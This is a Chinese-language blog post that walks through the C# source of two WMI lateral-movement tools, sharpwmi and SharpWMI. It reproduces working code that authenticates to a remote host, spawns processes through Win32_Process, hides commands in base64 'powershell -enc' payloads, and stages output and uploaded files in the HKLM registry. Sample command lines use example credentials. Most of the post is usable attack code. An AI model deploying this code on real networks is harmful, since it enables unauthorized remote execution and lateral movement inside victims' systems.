SharpWMI-基于135端口来进行横向移动的工具
SharpWMI-基于135端口来进行横向移动的工具
这两天逛github看到Ateam的师傅们上了个工具sharpwmi
想到上个月在哪里看到一个相似功能的工具SharpWMI,就把两个工具放在一起看下代码,正好最近还在学C#。
sharpwmi-Ateam
这个工具的注释和作者的代码都比较清晰,所以先看下这个。
使用说明
sharpwmi.exe 192.168.2.3 administrator 123 cmd whoami
介绍
这是一个基于135端口来进行横向移动的工具,具有执行命令和上传文件功能,通过wmi来执行命令,通过注册表来进行数据传输.
执行命令
通过wmi来执行命令,server将命令结果存在本机注册表,然后client连接注册表进行读取命令结果
上传文件
client将需要上传的文件放到server的注册表里面,然后server通过powershell来操作注册表方式来取文件然后释放到本地
代码
接收传入用户名密码建立连接
ConnectionOptions options = new ConnectionOptions();
string host = args[0];
options.Username = args[1];
options.Password = args[2];
int delay = 5000;
this.scope = new ManagementScope("\\\\" + host + "\\root\\cimv2", options);
this.scope.Options.Impersonation = System.Management.ImpersonationLevel.Impersonate;
this.scope.Options.EnablePrivileges = true;
this.scope.Connect();
使用常见的命令空间\root\cimv2
执行命令存入注册表
string powershell_command = "powershell -enc " + Base64Encode(args[4]);
string code = "$a=(" + powershell_command + ");$b=[Convert]::ToBase64String([System.Text.UnicodeEncoding]::Unicode.GetBytes($a));$reg = Get-WmiObject -List -Namespace root\\default | Where-Object {$_.Name -eq \"StdRegProv\"};$reg.SetStringValue(2147483650,\"\",\"txt\",$b)";
ExecCmd("powershell -enc " + Base64Encode(code)); //传入执行
Console.WriteLine("[+]Exec done!\n");
Thread.Sleep(delay);
//this.ExecCmd("whoami");
// 读取注册表
ManagementClass registry = new ManagementClass(this.scope, new ManagementPath("StdRegProv"), null);
ManagementBaseObject inParams = registry.GetMethodParameters("GetStringValue");
inParams["sSubKeyName"] = "";
inParams["sValueName"] = "txt";
ManagementBaseObject outParams = registry.InvokeMethod("GetStringValue", inParams, null);
// (String)outParams["sValue"];
Console.WriteLine("[+]output -> \n\n" + Base64Decode(outParams["sValue"].ToString()));
先将执行命令base64转换,然后利用powershell -enc
执行。
在执行过程中利用$b=[Convert]::ToBase64String([System.Text.UnicodeEncoding]::Unicode.GetBytes($a));
将\$a 在转成base64
$reg = Get-WmiObject -List -Namespace root\\default | Where-Object {$_.Name -eq \"StdRegProv\"};$reg.SetStringValue(2147483650,\"\",\"txt\",$b)
其中2147483650值是指HKEY_LOCAL_MACHINE
StdRegProv 是 WMI 的名称空间 root\DEFAULT 中的一个子类,有16个方法。StdRegProv 类包含与系统注册表有关的方法。可用这些方法来:验证用户的访问权;创建、枚举、和删除注册表项;创建、枚举、和删除键值;读取、修改、和删除数据。
利用StdRegProv操作注册表将\$b中转码的内容写入到键值中。
然后再读取注册表内容并输出。
public static string Base64Encode(string content)
{
byte[] bytes = Encoding.Unicode.GetBytes(content);
return Convert.ToBase64String(bytes);
}
public static string Base64Decode(string content)
{
byte[] bytes = Convert.FromBase64String(content);
return Encoding.Unicode.GetString(bytes);
}
wmi创建远程进程执行传入powershell
public Int32 ExecCmd(string cmd)
{
using (var managementClass = new ManagementClass(this.scope,new ManagementPath("Win32_Process"),new ObjectGetOptions()))
{
var inputParams = managementClass.GetMethodParameters("Create");
inputParams["CommandLine"] = cmd;
var outParams = managementClass.InvokeMethod("Create", inputParams, new InvokeMethodOptions());
return 1;
}
}
利用ManagementClass类初始化一个进程new ManagementPath("Win32_Process")
建立进程操作对象
var inputParams = managementClass.GetMethodParameters("Create");
inputParams["CommandLine"] = cmd;
获得用来提供参数的对象、设定命令行参数、执行程序。
文件上传
//写注册表
byte[] str = File.ReadAllBytes(args[4]);
ManagementClass registry = new ManagementClass(this.scope, new ManagementPath("StdRegProv"), null);
ManagementBaseObject inParams = registry.GetMethodParameters("SetStringValue");
inParams["hDefKey"] = 2147483650; //HKEY_LOCAL_MACHINE;
inParams["sSubKeyName"] = @"";
inParams["sValueName"] = "upload";
inParams["sValue"] = Convert.ToBase64String(str);
ManagementBaseObject outParams = registry.InvokeMethod("SetStringValue", inParams, null);
//通过注册表还原文件
string pscode = string.Format("$wmi = [wmiclass]\"Root\\default:stdRegProv\";$data=($wmi.GetStringValue(2147483650,\"\",\"upload\")).sValue;$byteArray = [Convert]::FromBase64String($data);[io.file]::WriteAllBytes(\"{0:s}\",$byteArray);;", args[5]);
string powershell_command = "powershell -enc " + Base64Encode(pscode);
Thread.Sleep(delay);
ExecCmd(powershell_command);
Console.WriteLine("[+]Upload file done!");
return;
原理和上面命令执行回显相同,都是写入到注册表中,但是由于键值大小限制,无法写入过大文件。
SharpWMI-harmj0y
说明
SharpWMI是利用C#实现WMI的个中的那个。 包括本地/远程WMI查询,通过win32_process创建远程WMI进程,杀死远程进程,枚举远程防火墙信息以及通过WMI事件远程执行任意VBS。
使用
SharpWMI.exe action=query query="select * from win32_process"
SharpWMI.exe action=query query="SELECT * FROM AntiVirusProduct" namespace="root\SecurityCenter2"
SharpWMI.exe action=query computername=primary.testlab.local query="select * from win32_service"
SharpWMI.exe action=query computername=primary,secondary query="select * from win32_process"
SharpWMI.exe action=create computername=primary.testlab.local command="powershell.exe -enc ZQBj..."
SharpWMI.exe action=executevbs computername=primary.testlab.local username="TESTLAB\harmj0y" password="Password123!"
更多
这个功能更多,可以多台机器,可以执行命令,执行vbs(默认需要在代码中修改vbs脚本内容),自己看吧。
还可以直接执行wmi的查询和指定命名空间。
代码太长,拿出来和上面都差不多。Ateam师傅原理和这个的命令执行相同,但是巧妙的利用注册表存储信息,实现了回显和小文件传输的功能。
5.1快乐
https://github.com/QAX-A-Team/sharpwmi
https://github.com/GhostPack/SharpWMI